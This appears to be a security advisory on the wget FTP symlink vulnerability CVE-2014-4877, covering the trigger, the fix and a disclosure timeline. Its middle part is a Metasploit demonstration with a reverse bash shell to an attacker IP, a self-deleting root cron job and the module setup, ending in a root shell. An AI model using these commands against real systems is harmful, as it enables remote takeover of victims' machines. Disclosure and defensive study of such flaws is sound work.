GNU Wget is a command-line utility designed to download files via HTTP, HTTPS, and FTP. Wget versions prior to 1.16 are vulnerable a symlink attack (CVE-2014-4877) when running in recursive mode with a FTP target. This vulnerability allows an attacker operating a malicious FTP server to create arbitrary files, directories, and symlinks on the user's filesystem. The symlink attack allows file contents to be overwritten, including binary files, and access to the entire filesystem with the permissions of the user running wget. This flaw can lead to remote code execution through system-level vectors such as cron and user-level vectors such as bash profile files and SSH authorized_keys.
The flaw is triggered when wget receives a directory listing that includes a symlink followed by a directory with the same name. The output of the LIST command would look like the following, which is not possible on a real FTP server.
lrwxrwxrwx 1 root root 33 Oct 28 2014 TARGET -> / drwxrwxr-x 15 root root 4096 Oct 28 2014 TARGET
Wget would first create a local symlink named TARGET that points to the root filesystem. It would then enter the TARGET directory and mirror its contents across the user's filesystem.
Upgrade to wget version 1.16 or a package that has backported the CVE-2014-4877 patch. If you use a distribution that does not ship a patched version of wget, you can mitigate the issue by adding the line
retr-symlinks=on to either
~/.wgetrc. This issue is only exploitable when running wget with recursive mode against a FTP server URL. Although a HTTP service can redirect wget to a FTP URL, it implicitly disables the recursive option after following this redirect, and is not exploitable in this scenario.
We have released a Metasploit module to demonstrate this issue. In the example below, we demonstrate obtaining a reverse command shell against a user running wget as root against a malicious FTP service. This example makes use of the cron daemon and a reverse-connect bash shell. First we will create a reverse connect command string using msfpayload.
# msfpayload cmd/unix/reverse_bash LHOST=192.168.0.4 LPORT=4444 R 0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112
Next we create a crontab file that runs once a minute, launches this command, and deletes itself:
# cat>cronshell <<EOD PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin * * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell EOD
Now we start up msfconsole and configure a shell listener:
# msfconsole msf> use exploit/multi/handler msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash msf exploit(handler) > set LHOST 192.168.0.4 msf exploit(handler) > set LPORT 4444 msf exploit(handler) > run -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.0.4:4444
Finally we switch to the wget module itself:
msf exploit(handler) > use auxiliary/server/wget_symlink_file_write msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell msf auxiliary(wget_symlink_file_write) > set SRVPORT 21 msf auxiliary(wget_symlink_file_write) > run [+] Targets should run: $ wget -m ftp://192.168.0.4:21/ [*] Server started.
At this point, we just wait for the target user to run
wget -m ftp://192.168.0.4:21/
[*] 192.168.0.2:52251 Logged in with user 'anonymous' and password 'anonymous'... [*] 192.168.0.2:52251 -> LIST -a [*] 192.168.0.2:52251 -> CWD /1X9ftwhI7G1ENa [*] 192.168.0.2:52251 -> LIST -a [*] 192.168.0.2:52251 -> RETR cronshell [+] 192.168.0.2:52251 Hopefully wrote 186 bytes to /etc/cron.d/cronshell [*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.2:58498) at 2014-10-27 23:19:02 -0500 msf auxiliary(wget_symlink_file_write) > sessions -i 1 [*] Starting interaction with 1... id uid=0(root) gid=0(root) groups=0(root),1001(rvm)
The issue was discovered by HD Moore of Rapid7, and was disclosed to both the upstream provider of Wget and CERT/CC as detailed below:
|Thu, Aug 28, 2014||Issue discovered by HD Moore and advisory written|
|Thu, Aug 28, 2014||Advisory provided to Giuseppe Scrivano, the maintainer of Wget|
|Sat, Sep 01, 2014||Vendor responded, confirmed issue and patch|
|Tue, Sep 30, 2014||Advisory provided to CERT/CC|
|Tue, Oct 07, 2014||CVE-2014-4877 assigned via CERT/CC|
|Mon, Oct 27, 2014||Redhat bug 1139181 published|
|Tue, Oct 28, 2014||Rapid7 advisory and Metasploit module published as PR 4088|